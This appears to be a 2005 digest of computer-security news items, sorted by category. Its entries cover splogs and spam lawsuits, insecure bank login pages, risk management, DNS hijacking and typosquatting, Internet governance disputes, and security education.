Spammers have created millions of Web logs to promote everything from gambling Web sites to pornography. The spam blogs -- known as "splogs" -- often contain gibberish, and are full of links to other Web sites spammers are trying to promote. Because search engines like those of Google Inc., Microsoft Corp. And Yahoo Inc. Base their rankings of Web sites, in part, on how many other Web sites link to them, the splogs can help artificially inflate a site's popularity. Some of the phony blogs also carry advertisements, which generate a few cents for the splog's owner each time they are clicked on.

The phony blogs are a particular problem for Google, Microsoft and Yahoo because each offers not only a Web search engine focused on providing the most relevant results for users but also a service to let bloggers create blogs.

Just this past weekend, Google's popular blog-creation tool, Blogger, was targeted in an apparently coordinated effort to create more than 13,000 splogs, the search giant said. The splogs were laced with popular keywords so that they would appear prominently in blog searches, and several bloggers complained online that that the splogs were gumming up searches for legitimate sites....

[Excerpt from David Kesmodel's article in Wall Street Journal provided by Monty Solomon]

Category 33.2 Spam, spim, spit & splogs
2005-10-27 **zombie spammer Microsoft Internet Safety hunt junk e-mail CAN-SPAM FTC**

DHS IAIP Daily;
<http://www.securitypipeline.com/news/172901034;jsessionid=Y2XYXNET4ZPCEQSNDLBCSKH0CJUMEKJVN>

MICROSOFT HUNTS FOR ZOMBIE SPAMMERS

Microsoft is investigating 13 spam operations it believes sent millions of junk mail messages through a single PC that the company purposefully set up as a "zombie," the company said Thursday, October 27. Tim Cranton, the director of Microsoft's Internet Safety division said, "By inserting ourselves in the spammers' path and looking upstream, we have been able to see things we have never been able to see before." The action was coordinated in conjunction with the Federal Trade Commission (FTC) and Consumer Action, a San Francisco-based advocacy group, to identify spammers. Spam operators working in the U.S. could be prosecuted under the federal CAN-SPAM Act. Cranton said, "Hopefully, we'll be able to turn over the results of our investigation for criminal prosecution under CAN-SPAM...We need to take a few more steps, but in the next two to three months, I think we can name these spammers." A new federal Website can be accessed for consumers to access information on protecting their PCs. Website: <http://onguardonline.gov/index.html>

Category 33.2 Spam, spim, spit & splogs
2005-11-23 **lawsuit litigation anti-spam Verizon Wireless unsolicited text messages**

DHS IAIP Daily; <http://www.eweek.com/article2/0,1895,1892707,00.asp>

VERIZON WIRELESS SUES ANOTHER SPAMMER

Unwanted text messages from a Florida-based travel company were sent recently to 98,000 Verizon Wireless customers, according to a new lawsuit filed by the operator. Even though cell phone spam is still relatively limited, it's nonetheless forcing operators to get a handle on it since their subscribers often pay a fee for each incoming message. "Electronic attacks upon the Verizon Wireless interstate text messaging network will continue; indeed the latest attack was just weeks ago," Verizon attorneys wrote in the suit filed Monday, November 21, in a U.S. District Court in New Jersey. In this particular case, Verizon Wireless alleges that Passport Holidays LLC, of Ormond Beach, FL, sent unsolicited text messages to about 98,000 Verizon Wireless subscribers in the latter part of October. The lawsuit accuses Passport Holidays of using an automated dialer to send the text messages to phones in three East Coast area codes.

Category 33.2 Spam, spim, spit & splogs
2005-11-28 **FTC report spam e-mail filters improving anti-spam**

DHS IAIP Daily; http://today.reuters.com/news/NewsArticle.aspx?type=internetNews&storyID=2005-11-28T211837Z_01_SPI1876594_RTRUKOC_0_US-SPAM.xml

FEDERAL TRADE COMMISSION: SPAM E-MAIL FILTERS GETTING BETTER

E-mail spammers are aggressive as ever but Internet providers are getting better at blocking junk messages before they reach users' inboxes, according to a U.S. Federal Trade Commission (FTC) study released on Monday, November 28. The FTC found that spammers continue to "scrape" e-mail addresses from the Web using automated programs that look for the telltale "@" sign. But up to 96 percent of those messages were blocked by the two Web-based e-mail providers used by the FTC in its test. The FTC did not say which providers it used in its study. "This encouraging result suggests that anti-spam technologies may be dramatically reducing the burden of spam on consumers," the report said. The FTC noted that Internet providers still must bear the burden of filtering out those messages. FTC Press Release: <http://www.ftc.gov/opa/2005/11/spam3.htm> FTC Spam study: <http://www.ftc.gov/opa/2005/11/spamharvest.pdf>

Category 33.2 Spam, spim, spit & splogs
2005-12-21 **CAN-SPAM Act legislation law FTC report Congress effectiveness legal action content filtering junk e-mail education recommendations**

EDUPAGE; <http://www.theregister.co.uk/2005/12/21/can-spam/>

FTC SAYS CAN-SPAM WORKING

The Federal Trade Commission reported to Congress on the effectiveness of the CAN-SPAM Act, concluding that legal action against spammers and improved e-mail filtering have reduced the amount of junk e-mail reaching consumers. The agency has filed 21 lawsuits under CAN-SPAM. Recommendations include passing new laws to help regulators trace spammers and sellers outside the United States, better user education on spam prevention, and continued improvement in filtering tools and techniques.

33.3 Authorization, access controls

Category 33.3	<i>Authorization, access controls</i>
2005-04-20	identification authentication I&A encryption secure logon design failure control customer information passwords userIDs

RISKS	23	85
-------	----	----

SEVERAL US BANKS STILL REFUSE HTTPS FOR LOGON PAGES

Brad Hill noted a serious lapse of risk management in several banks' online systems:

>I was actually rather shocked to find that U.S. Bank (<http://www.usbank.com/>), Chase (<http://www.chase.com>) and Bank of America (<http://www.bankofamerica.com>) all still *force* users to enter their login and password on an insecure page. This exposes account holders to a great risk of their credentials being stolen. The login forms on their genuine home pages are submitted to a secure site, as they claim. The problem is that you need security *before* you enter your data. If DNS, a router or a proxy server anywhere along the path to their server were compromised, the login page could be substituted for one that submits to another site or injected with JavaScript that sends info elsewhere, asynchronously, before it goes to the real destination. Without an SSL certificate chain there is no way to verify that the insecure page with the form came from a trusted source and no way short of exhaustive code inspection to tell where the form data is actually going.

BankOne, Wells Fargo, Citi, Washington Mutual, Bank of the West, Key Bank and Sun Trust all offer SSL versions of their login page, but for some reason, U.S. Bank, BofA and Chase redirect to an insecure site or return an error when trying to connect with SSL. You *can't* log in securely, even if you try. The existence of this kind of obvious and fundamental security mistake after all the publicity about this category of attack (note that all these banks *do* have a user education page on phishing/fraud prevention!) is definitely something to keep in mind when choosing a bank.<

33.4 Risk analysis & management

Category 33.4 Risk analysis & management
 2005-04-05 risk management perception publicity public relations comments explanation clarity taking responsibility stupidity blame

RISKS	23	83
-------	----	----

RISK MANAGEMENT: GOOD VS STUPID RESPONSES TO DISASTERS

Michael "Streaky" Bacon published an excellent analysis of good vs stupid public response to disasters or near disasters:

Air disasters receive widespread press coverage. Crashes often cause people to cancel bookings with the affected airline. The share price often dips, sometimes severely, in the aftermath of an air accident.

This is also true for many other major incidents involving corporations (i.e., not 'natural' causes).

One thing often stands between a 'crisis of confidence' and 'business as usual', and that is the credibility of the organisation's spokespeople.

On 3 April, a Phuket Air 747 was twice forced by passenger action to abort a take-off from the UAE when fuel was seen flowing from the wing over an engine as the plane accelerated down the runway. A UK-based spokesman for the airline told the media that no-one had been in any danger and claimed that passengers had "panicked". He is also reported to have said that passengers were not qualified to judge what was safe or not. He said that the wing tanks had been "over-filled".

Whilst I do not comment upon the accuracy or otherwise of the spokesman's comments, I will comment on their advisability and I do suggest that this is not a good way to manage risk.

It is reported that many passengers have now refused to fly any further with the airline.

A contrast in risk management is provided by one British airline that suffered two 'incidents' with the same type of aircraft some nine years apart. In the first, the aircraft crashed with tragic loss of life following the (erroneous) shutdown of one engine and loss of power on the other (faulty) engine during an emergency landing. The Chairman of the airline was interviewed at the scene and with tears in his eyes promised to find out what had happened and to take every possible step to prevent its recurrence. The share price was not much affected, neither were bookings. The second incident concerned the loss of oil pressure in both engines shortly after take-off - leading to the shut-down of both engines and a successful 'dead-stick' landing. The loss of oil was caused by a maintenance failure. The airline put the 'Director of Engineering' (or similar title) in front of the media, and he attempted to explain away the incident as a problem with their maintenance company. It was reported at the time that passengers subsequently canceled bookings and the stock price fell.

The 'what', the 'way' and the 'how' of the Chairman were believable, those of the Director were not.

The RISK is in getting the wrong person to say the wrong thing. Effective crisis management involves the right thing by the right person at the right time in the right way to the right people.

[The first case is that of a British Midland 737-400 (RISKS-11.42). PGN]

Category 33.4 Risk analysis & management
 2005-04-07 credit card loss company agent training awareness confidentiality breach policy procedure stupidity identity theft

RISKS	23	84
-------	----	----

NO PROBLEM! BANK OF AMERICA AGENT REVEALS PERSONAL DETAILS TO FINDER OF LOST VISA CARD

When Caskey L. Dickson's wife reported a lost VISA card that she found, the Bank of America agent on the support line cheerfully informed her -- without her asking -- of the owner's home phone number and billing address plus the fact that the card had not been reported stolen.

Despite the honest lady's protests that she did not need to know these things, the agent flippantly dismissed her concerns about identity theft with "Oh, that's not a problem."

<i>Category</i>	<i>33.4</i>	<i>Risk analysis & management</i>		
2005-05-01		risk management legacy systems denial of service failure software quality assurance replacement system failure		
RISKS; http://www.cio.com/archive/050105/comair.html			23	87

COMAIR EXECUTIVES DELAYED REPLACING LEGACY SYSTEM THAT FAILED

Stephanie Overby, writing in CIO magazine, analyzed the COMAIR disaster of December 2004. "[T]he legacy system [for managing flight crews] failed, bringing down the entire airline, canceling or delaying 3,900 flights, and stranding nearly 200,000 passengers. The network crash cost Comair and its parent company, Delta Air Lines, \$20 million, damaged the airline's reputation and prompted an investigation by the Department of Transportation."

The details were as follows:

"As it turned out, the crew management application, unbeknownst to anyone at Comair, could process only a set number of changes—32,000 per month—before shutting down. And that's exactly what happened. On Christmas Eve, all the rescheduling necessitated by the bad weather forced the system to crash. As a result, Comair had to cancel all 1,100 of its flights on Christmas Day, stranding tens of thousands of passengers heading home for the holidays. It had to cancel nearly 90 percent of its flights on Dec. 26, stranding more. There was no backup system. It took a full day for the vendor to fix the software. But Comair was not able to operate a full schedule until Dec. 29."

All of this trouble could have been avoided had the warnings dating back to 1997 been heeded about the need to upgrade the then-11-year-old system, which was running on outdated hardware. The rest of the article goes into extensive detail about the management failures responsible for the debacle.

<i>Category</i>	<i>33.4</i>	<i>Risk analysis & management</i>
2005-09-11		emergency management communications frequency bands risk analysis vulnerability politicians stupid pronouncements lack experience naïve elementary mistakes denial of service DoS vulnerability bandwidth saturation jamming disaster
RISKS		24 04

POLITICIANS USUALLY AMATEURS AT EMERGENCY MANAGEMENT

It is sad that politicians start to believe that they know how to solve technical problems. One such sad case was Rudy Giuliani's pronouncement today that a single frequency (then frequency band) for all emergency services would make things work better. Now I am hardly the world's leading expert on radio frequency spectrum allocation, but I do have some small amount of experience in understanding radio communications and emergency response, and I was startled, well not all that startled, perhaps bemused at the lack of understanding displayed by people who are not risk management professionals. Of course it seems that a lot of political folks think that they can do as good a job as risk management professionals, and likely that is why we are in such a sad state as a nation state at handling emergencies. I haven't done a complete assessment of the suggestion, but here are some initial thoughts.

The idea is that communications will work better if everyone can talk to each other and therefore a single frequency band would allow them to do so and improve emergency communications. Sounds sensible, however...

- 1) It means that in order to disrupt ALL emergency communications I only need to jam one frequency band.
- 2) Different natural and artificial phenomena interfere with RF communications in different frequency bands, so by using a relatively limited portion of the available bandwidth, there is a guarantee that in some places no communications will work.
- 3) If I want to listen into your communications, it makes it a lot easier if I know the frequencies being used, and if everyone has to talk to each other, then anyone can listen to everyone else. Encryption won't solve this of course for the same reason.
- 4) If there is a big emergency and everyone is on a small subset of the bands available, there will be a lot of interference, reducing communications effectiveness.
- 5) Certain weather and other human induced conditions wipe out portions of the frequency band for periods of time, making ALL communications fail simultaneously (see 1 above).
- 6) Interference between jurisdictions means that dispatchers in one jurisdiction might end up talking over those of their neighbors, causing confusion and more traffic problems as well as increasing the potential for phony messages going on the air.

You all get the idea by now. Of course the last assessment I did that involved a radio communications system for a local government was several weeks back, and we were a bit concerned that they only had 3 redundant ways to communicate via RF - Car radios that talk to towers in redundant locations - hand-held radios on a different frequency range that could talk to the towers, the cars, and each other independently of the other tower system, and cellular telephones that they could use when the other systems failed. They also reported problems of interference on rare occasions with the frequencies used by neighboring jurisdictions (see 6 above), but only in certain locations where they could communicate over quite a long distance because of weather-related signal bounces off clouds.

Different frequency bands are used for different things for good reasons, and there are good reasons that a single frequency band for emergency response would be a bad thing. Perhaps we should put Rudy in charge of FEMA and see if things get better or worse... after all, the last political appointee there with no expertise in emergency management worked out so well...

[By Fred Cohen]

34.2 Usage monitoring, audit trails (employees, children)

Category 34.2

Usage monitoring, audit trails (employees, children)

2005-01-25

privacy remote keylogger monitoring surveillance workplace forensic evidence data archives pornography appropriate use

NewsScan; <http://news.bbc.co.uk/1/hi/technology/4188747.stm>

SOFTWARE WATCHES WHILE YOU WORK

Security firm 3ami and storage specialist BridgeHead Software have teamed up to create a network security system that can log computer keystroke activity, store it and retrieve the files within minutes. The developers say the system represents a breakthrough in the way data is monitored and stored, but privacy advocates worry that such monitoring not only is overly intrusive but can be damaging to employees' morale. However, 3ami managing director Tim Ellsmore counters: "That is not the case. It is not about replacing dialogue but there are issues that you can talk through but you still need proof. People need to recognize that you are using a PC as a representative of a company and that employers have a legal requirement to store data." The software was developed in response to the Freedom of Information Act's requirement for companies to store all data for a specified period of time, and is designed to monitor the downloading of pornography, the use of inappropriate language and the copying of applications for personal use. It also potentially could enable employers to track stolen files and identify whether they'd been e-mailed to a third party, copied, printed, deleted or saved to a CD, floppy disk, memory stick or flash card. (BBC News 25 Jan 2005)

Category 34.2

Usage monitoring, audit trails (employees, children)

2005-08-09

computer tampering policy violation student punishment school lawsuit litigation Pennsylvania

EDUPAGE; <http://www.wired.com/news/technology/0,1282,68480,00.html8/>

STUDENTS FACE PUNISHMENT FOR COMPUTER TAMPERING

Thirteen high school students in the Kutztown Area School District in Pennsylvania face felony charges of tampering with computers after defeating security measures on laptops issued to them by the school district. The laptops included Internet filters and an application that allowed district administrators to see what students did with the computers. The 13 used administrator passwords--which, for unknown reasons, were taped to the backs of the computers--to override the filters and download software such as iChat that the district policy forbids. The students also modified the monitoring program so that they could see what the administrators did with their computers. The students and their parents argued that the felony charges are unwarranted, but, according to the district, students and parents signed acceptable use policies that clearly state what activities are not allowed and that warn of legal consequences if the policy is violated. The students continued to violate district policies for use of the computers even after detentions, suspensions, and other punishments, according to the district. Only then did school officials contact the police. Wired News, 9 August 2005

35.1 Cybersquatting

<i>Category</i>	<i>35.1</i>	<i>Cybersquatting</i>		
2005-01-17		denial of service DoS domain name system DNS hijacking fraud data integrity authorization		
RISKS; http://www.panix.net/hijack-faq.html			23	69
DON'T PANIX				

The DNS entry for the Panix ISP was hijacked in January 2005. Cyrus R. Eyster reported to RISKS on the case and quoted the Panix Website:

Panix's main domain name, panix.com, was hijacked by parties unknown. The registration of the panix.com domain was moved to a company in Australia, the actual DNS records were moved to a company seemingly in the United Kingdom (but with servers in Canada and corporate registration in Delaware), and panix.com's mail was redirected to servers in Canada. None of the systems exploited to perform this hijacking were under Panix's control.

It's not supposed to be possible to transfer a domain name from one registrar to another without notifying both the current registrar and the current domain owner, but that's what seems to have happened.

As the hijacking occurred over the weekend, we had great trouble reaching responsible parties at the other companies involved. The domain was not returned to us until the beginning of the business day in Australia on Monday. None of the companies involved had support numbers that were available over the weekend, or even emergency contact numbers.

<i>Category</i>	<i>35.1</i>	<i>Cybersquatting</i>		
2005-07-08		Google Website domain misspelling typo cybersquatting case victory		
EDUPAGE;				
http://today.reuters.com/business/newsArticle.aspx?storyID=nN78398318				

GOOGLE WINS TYPOSQUATTING CASE

Google has the rights to several misspellings of its domain name, according to a decision by the National Arbitration Forum (NAF). Google had filed a complaint against Sergey Gridasov, a Russian man who had registered domain names of googkle.com, ghoogle.com, gfoogle.com and gooigle.com, saying that he was profiting from Google's name with the domains, which are common mistypings of google.com. Gridasov reportedly used the domains to redirect Web surfers to sites that would download various kinds of malware to their computers. Because Gridasov did not respond to the complaint, the NAF was compelled to accept the allegations in Google's complaint. According to the NAF, Gridasov is not entitled to use the domains, which are confusingly similar to Google's.

Reuters, 8 July 2005

<i>Category</i>	<i>35.1</i>	<i>Cybersquatting</i>		
2005-07-18		cyber squatting lawsuits BDC Capital Inc.		
EDUPAGE; http://www.detnews.com/2005/technology/0507/18/0tech-250797.htm				
UNIVERSITY CHARGES CYBERSQUATTING				

A Minnesota-based company has raised the ire of a number of colleges and universities after registering more than 23,000 URLs, many of which imply a connection to the schools that does not exist. BDC Capital Inc. has registered such URLs as www.universityofmichiganwolverines.com, which is not affiliated with the University of Michigan at all, and www.uofmgophers.com, which has no connection with the University of Minnesota. Marvin Krislov, general counsel at the University of Michigan, which has sent the company a cease-and-desist order, called the URLs a "pretty clear violation of trademark," noting that reasonable people would likely assume a connection between the site and the institution. A spokesperson from BDC said the company does not believe it has violated any trademarks. He said the company believes that the URLs "represent a significant asset to both BDC and the schools," saying that BDC anticipates a "partnership" with the schools to sell souvenirs and other items. Detroit News, 18 July 2005

35.3 Politics & management of the DNS

Category 35.3

Politics & management of the DNS

2005-02-22

domains UN ICANN ITU World Summit global control Web developing countries international

NewsScan; <http://australianit.news.com.au/articles/0>

U.N. PANEL HOPES TO END WEB WAR

A U.N.-sponsored panel aims to settle a long-running tug of war for control of the Internet at a Tunis meeting this November at the World Summit on the Information Society, where global control of the World Wide Web may be decided. At present, the most recognizable Internet governance body is the U.S.-based non-profit corporation called the Internet Corporation for Assigned Names and Numbers (ICANN), but developing countries want an international body such as the UN's International Telecommunication Union (ITU) to have control over governance over Internet issues -- ranging from distributing Web site domains to fighting spam. (The Australian 22 Feb 2005)

Category 35.3

Politics & management of the DNS

2005-05-09

Google denial of service DoS Website blackout Internet infrastructure Domain Name System DNS stability

DHS IAIP Daily; <http://www.newscientist.com/article.ns?id=dn7357>

GOOGLE BLACKOUT LINKED TO INTERNET INFRASTRUCTURE

A brief blackout at Internet search giant Google has drawn attention to the addressing system that underpins the Web. The Google search page disappeared from view for about 15 minutes late Saturday night, May 7. Some users reported being redirected to an alternative search service called SoGoSearch, but Google has strongly dismissed suggestions that its servers were compromised in any way. Google spokesperson David Krane told the Associated Press that the problem was related to the Domain Name System (DNS), which maps Web names to the numerical Internet Protocol (IP) addresses used by computers. There are thousands of individual DNS servers dotted around the Internet that report back to 13 "root" servers holding master records for DNS mapping. It remains unclear whether the outage at Google was the result of a malfunction in one particular server or the wider system. The outage has drawn attention to widespread reliance of many Web users and services on Google and highlights existing concerns over the stability of DNS infrastructure. In March 2005, the National Academies National Research Council issued a report criticizing the current state of DNS infrastructure. National Academies' Report: http://www7.nationalacademies.org/cstb/pub_dns.html

Category 35.3

Politics & management of the DNS

2005-06-30

domain naming system DNS ICANN control US retention United Nations poor countries equal participation

EDUPAGE; http://news.zdnet.com/2100-9588_22-5770937.html

U.S. WILL KEEP CONTROL OF INTERNET ROOT

Despite previous statements from U.S. officials that the country would cede its control over the Internet to the Internet Corporation for Assigned Names and Numbers, a set of principles outlined this week by the Bush administration states that no such transfer of control will take place. The United States maintains control of the "root" system that determines which domains will function, including not just generic domains such as .com and .org but also country-specific domains. The principles, which were announced unexpectedly at a conference in Washington, D.C., are seen by many as a snub of the world community in general and of certain of its critics in particular. Pakistan and Brazil, for example, have long complained that the United States has too much control over the Internet and should give the world's poorer countries the opportunity to be equal participants. ZDNet, 30 June 2005

Category 35.3 Politics & management of the DNS

2005-07-18 **Internet control report recommendations United Nations US**

EDUPAGE; <http://news.bbc.co.uk/2/hi/technology/4692743.stm>

UN REPORTS ON CONTROL OF INTERNET

A working group created by the United Nations (UN) to draft a recommendation about the future oversight of the Internet has come up with four options. The Working Group on Internet Governance (WGIG) was created in 2003 following the failure of the UN's World Summit on the Information Society (WSIS) to agree on an Internet governance structure. Three of the WGIG's proposals would take control of the Internet away from the Internet Corporation for Assigned Names and Numbers (ICANN), which is currently run by the United States. Many developing nations have complained that final oversight of the Internet should not rest with U.S. officials. The fourth option would leave control with ICANN but create a forum for debate on Internet issues that face all countries. The four options will be presented to the 2005 WSIS meeting in November, where delegates will choose one. Earlier this month, the United States stated that it would not relinquish control of ICANN or the Internet. BBC, 18 July 2005

Category 35.3 Politics & management of the DNS

2005-09-29 **US control Internet Web politics United Nations UN rejection**

DHS IAIP Daily; <http://www.washingtonpost.com/wp-dyn/content/article/2005/09/29/AR2005092900478.html>

U.S. INSISTS ON KEEPING CONTROL OF WEB

The U.S. is rejecting offers from the UN to take control over the main computers that direct traffic on the Internet. Ambassador David Gross, the U.S. coordinator for international communications and information policy at the State Department said, "We will not agree to the UN taking over the management of the Internet. "Some countries want that. We think that's unacceptable." Some countries have been upset that the United States and European countries secured a multitude of available Internet addresses, thus leaving developing nations with a limited supply to share.

Category 35.3 Politics & management of the DNS

2005-11-14 **Internet Web DNS control United Nations conference US ICANN politics**

EDUPAGE; <http://www.nytimes.com/2005/11/14/business/14register.html>

UN MEETING TO ADDRESS CONTROL OF INTERNET

The United Nations (UN) is hosting an international conference this week in Tunisia to address concerns about U.S. control of the Internet. The Internet Corporation for Assigned Names and Numbers (ICANN) was set up in 1998 to oversee the Domain Name System, which reconciles Web addresses and directs Internet traffic to proper destinations. Despite an understanding that ICANN would become independent of any national ties, the Bush administration this year rejected such a move, and the organization still operates under the authority of the U.S. Department of Commerce. This situation has left many other countries complaining that the United States holds the power over a global resource, and nine different proposals for putting ICANN under the guidance of an international body will be addressed at the meeting in Tunisia, which will host as many as 15,000 delegates. Some individuals who were part of the work that led to the Internet have said that concerns over ICANN are misguided. Leonard Kleinrock, computer scientist at UCLA, said, "Everyone seems to think that the D.N.S. system is a big deal, but it's not the heartbeat of the Internet." Robert Kahn, one of the developers behind TCP/IP, said of ICANN, "There is nothing in there to control, and there are huge issues that the governments of the world really do need to work on." New York Times, 14 November 2005 (registration req'd)

Category 35.3 Politics & management of the DNS

2005-11-16 **Internet Web DNS control United Nations conference US ICANN politics**

EDUPAGE; <http://www.siliconvalley.com/mld/siliconvalley/13180104.htm>

U.S. TO KEEP CONTROL OF ICANN

Delegates at an international meeting in Tunisia have agreed to allow oversight of the Internet's Domain Name System (DNS) to remain with the United States. Leading up to the World Summit on the Information Society, a number of nations had put forth proposals that would have required the United States to cede DNS control to an international body. Instead, agreement was reached to leave DNS management with the Internet Corporation for Assigned Names and Numbers (ICANN) and create an international forum to address concerns, though the forum will not have binding authority. The Internet Governance Forum is to begin meeting next year and will address issues both within the purview of ICANN, such as the addition of domains in languages other than English, and outside ICANN's authority, such as spam and cybercrime. San Jose Mercury News, 16 November 2005

Category 35.3

Politics & management of the DNS

2005-11-29

dot com management lawsuit DNS management politics ICANN Verisign

EDUPAGE; <http://news.bbc.co.uk/2/hi/technology/4482292.stm>

INTERNATIONAL GROUP SUES OVER .COM MANAGEMENT

The World Association of Domain Name Developers has filed a lawsuit in a California court against the Internet Corporation for Assigned Names and Numbers (ICANN) and VeriSign over a deal recently reached between the two organizations. After resolving a dispute over VeriSign's Site Finder service, which directed users who mistyped URLs to VeriSign's Web site, ICANN agreed to an extension of the contract that allows VeriSign to manage the .com and .net domains. Although the extension runs from 2007 to 2012, the lawsuit filed by the developers association contends that the contract "provides for the automatic renewal of the agreement and thereby precludes competitors from ever entering the .com and .net domain name registration market," thereby establishing a monopoly for the domains. The only means for another company to bid on the work, according to the suit, is if VeriSign goes out of business or fails to meet the terms of the contract. A statement from ICANN said the lawsuit is intended to divert attention away from an ICANN meeting currently being held in Vancouver. BBC, 29 November 2005

Category 35.3

Politics & management of the DNS

2005-12-07

EU Internet domain business DNS politics

EDUPAGE; <http://online.wsj.com/article/SB113391801658415733.html>

EU DOMAIN OPENS FOR BUSINESS

A new domain has been launched that supporters believe will help create a sense of identity and strength among the nations of the European Union (EU). The .eu domain is initially open to organizations that hold trademarks or have offices in any of the 25 nations in the EU. The domain will later be opened to other groups and eventually to individuals. More than 400 registrars have been approved to handle applications for the domain. Jean Pire, a senior partner in a Belgian intellectual property law firm, said he expects the .eu domain to grow to be second only to .com in the number of Web sites that use it. Currently, .com is the domain for more than half of the world's Web sites; Pire predicts .eu eventually to represent about 25 percent of Web sites. The .eu extension will not replace existing country-specific extensions, such as .de for Germany and .fr for France. Wall Street Journal, 7 December 2005 (sub. req'd)

37 Education in security & ethics

Category 37

Education in security & ethics

2005-01-01

eLearning prediction URL piracy RSS online courses technology advances games

NewsScan;

http://www.elearnmag.org/subpage/sub_page.cfm?article_pk=13262&page_number=1&title=COLUMN

WHAT'S UP NEXT FOR E-LEARNING?

"Colleges, universities and the military will outpace corporations in rolling out innovative and effective learning programs. Computer games will increasingly be viewed as a new type of scalable content that will raise the bar on engagement and enable new types of skills to be taught," predicts author Clark Aldrich, author of "Simulations and the Future of Learning," in a collection of expert prognostications assembled by eLearn Magazine editor Lisa Neal. Among the contributors are Don Norman, co-principle of the Nielsen Norman Group, who forecasts the rise of adult educational tools: "I expect language tutors for adults. Why not combine handheld dictionaries, phrase translators, and CD-ROM courses into a portable device?" And Indiana U. professor Curt Bonk sees a bright future for open-source courseware: "Jumping on the open-source bandwagon may mean supporting innovative pilot projects, funding code enhancements and joining the Sakai community." But as emerging technologies such as blogs, wikis and podcasts draw the attention of major commercial players like Microsoft, Yahoo and Google, look for a new bout of legal wrangling, says Canada's National Research Council's Stephen Downes: "But as grassroots technologies are appropriated for commercial objectives, conflicts over rights and use emerge, and competing standards extensions create genuine difficulties for users. Expect, for example, patent claims and threats of lawsuits over aspects of content syndication technology, lawsuits regarding unauthorized use of RSS feeds... Behind the scenes (and mostly unnoticed), the Web is beginning to fracture. Some time in the next three years the first case of URL-piracy (releasing the address of a resource without authorization) will be heard." (eLearn Magazine Jan 2005)

37.1 Elementary & middle school programs

Category 37.1

Elementary & middle school programs

2005-06-08

UK Britain charity children downloading habits parent education effort pamphlet

EDUPAGE; <http://news.bbc.co.uk/2/hi/entertainment/4072566.stm>

EDUCATING PARENTS ABOUT KIDS' DOWNLOADING HABITS

A British charity focused on children's issues on the Web has launched a campaign designed to educate parents about the downloading habits of their kids. According to Childnet, as many as 90 percent of parents do not understand how music can be downloaded from the Internet. The charity is producing leaflets in 8 languages for distribution in 19 countries to try to address and correct this gap of understanding between parents and children. Representatives of the entertainment industry applauded the initiative. Peter Jamieson, chairman of the British Phonographic Industry, said, "We are committed to working with parents to make them aware of the dangers of illegal downloading." Dennis Henderson of Virgin Megastores noted that spreading the word about legal download services is as important as fostering an awareness of illegal file sharing. BBC, 8 June 2005

37.2 High school programs

Category 37.2

High school programs

2005-03-21

high school K-12 fight stop hacker hacking school network denial of service DoS attack report education

DHS IAIP Daily; <http://www.nwfusion.com/news/2005/032105-hacker-kids.html>

K-12 SCHOOLS FIGHT TO STOP STUDENT HACKERS

When today's K-12 students act up, they increasingly are going high-tech by using the school's network to launch denial-of-service attacks, sending harassing e-mails or breaking into databases to try to change their records. With public schools now widely equipped with LANs and high-speed Internet access, IT administrators have to cope with many cyber incidents. Some infractions, such as attempts to get to pornography sites, might force administrators to temporarily yank a child's network access as punishment. But some types of incidents, such as hacking and e-mail threats, even end up with students being booted out of school or in trouble with the law. Philip Scrivano, management analyst at Fiscal Crisis & Management Assistance Team (FCMAT), agrees. Scrivano says that in his role as adviser, he's seen students expelled for installing a keylogger on the teacher's PC and changing grades or breaking into a server. Some troublemakers are spending inordinate amounts of time planning break-ins - sometimes 50 to 100 hours for one attack. The hard part is making teenagers understand that what they're doing is a crime. Department of Education's "Internet Access in U.S. Public Schools and Classrooms: 1994-2003" report: <http://nces.ed.gov/pubsearch/pubsinfo.asp?pubid=2005015>

Category 37.2

High school programs

2005-04-08

ethical hacking teaching education security awareness University of La Salle Barcelona Spain ISECOM

EDUPAGE; http://news.bbc.co.uk/2/hi/programmes/click_online/4423351.stm

PROGRAM TEACHES HACKING TO RAISE AWARENESS

The University of La Salle in Barcelona has begun a program to raise awareness of computer hacking and to teach teens how to protect themselves. Sponsored by the Institute for Security and Open Methodologies (ISECOM), the Hacker High School invites students from local high schools to the La Salle campus to expose them to the ins and outs of hacking. Pete Herzog, managing director of ISECOM, said the program shows participants how computer hacking is accomplished so that they can understand the concepts behind what computers do, how to clean them, how applications can compromise computers, and the implications for personal privacy. According to one official from the program, the goal is to provide experiences for students to learn how hacking happens so that they will become "ethical hackers, good hackers, knowing what they do and what the limits are." School officials believe having skills as an ethical hacker could be beneficial when students go looking for jobs later. BBC, 8 April 2005

37.3 Undergraduate programs

Category 37.3

Undergraduate programs

2005-02-02

college online education fraud Department Education diploma mills online fraud

NewsScan; <http://www.wired.com/news/culture/0>

DATABASE DOCUMENTS DIPLOMA MILLS

The U.S. Department of Education has launched a searchable database that prospective online students may browse to determine whether a particular distance learning institution is accredited by organizations sanctioned by the government. The white-list enables students and prospective employers to distinguish between Hamilton College, a small, distinguished (and accredited) New York college, and Hamilton University, a diploma mill in Wyoming. And while Hamilton University is licensed by the state of Wyoming, using a degree from that school for employment in other states, such as Oregon or New Jersey, could lead to jail time for fraud. The database was created following calls for action from Congress last year, after some high-level government officials were discovered to have purchased questionable degrees to beef up their resumes. (Wired.com 2 Feb 2005)

<i>Category</i>	<i>37.3</i>	<i>Undergraduate programs</i>
2005-02-06		academic university course spyware spam ethics
RISKS		23 70

UNIVERSITY OF CALGARY TEACHES STUDENTS TO WRITE MALWARE

Rob Slade comments on the University of Calgary's penchant for teaching students how to write malicious code:

The University of Calgary is back at it again.

<Http://www.cbc.ca/story/canada/national/2005/02/05/email-course050205.html>
<http://pages.cpsc.ucalgary.ca/~aycock/>
aycock@cpsc.ucalgary.ca, barker@cpsc.ucalgary.ca

(Interesting that his homepage is entitled "Unfettered by Content." He certainly seems to be unfettered by logic.)

This time they are adding spam and spyware to the curriculum.

I can vaguely see a dim advantage to having students write viruses in order to understand them (rather inefficiently, in terms of time spent), but getting them to write a spamming program in order to understand how to fight spam seems even less effective.

As previously noted, John Aycock doesn't seem to have any credentials in security or malware (no papers published prior to the virus course, nobody in the field seems to know him), so why he, and the university, chose to do this, other than pure self-promotion, is completely beyond me.

I am somewhat relieved by the fact that the paper submitted to EICAR shows that a modicum of thought was given to the security of the laboratory. The irrelevance of the measures undertaken is no great surprise. The bibliography is interesting: Lugwig's second edition is there, along with Mitnick's "19 chapters of gotcha," but on the AV side Cohen's 1994 edition stands alone with Skoudis' rather pathetic work. I would have thought that anyone with even a pretence of academic intentions would have consulted Ferbrache, and possibly Nazario's pompous but flawed attempt at worm analysis. Given Aycock's involvement in a rather banal crypto lab, I'm a bit surprised that he hasn't tried to create Young and Yung's proposed crypto-nasties.

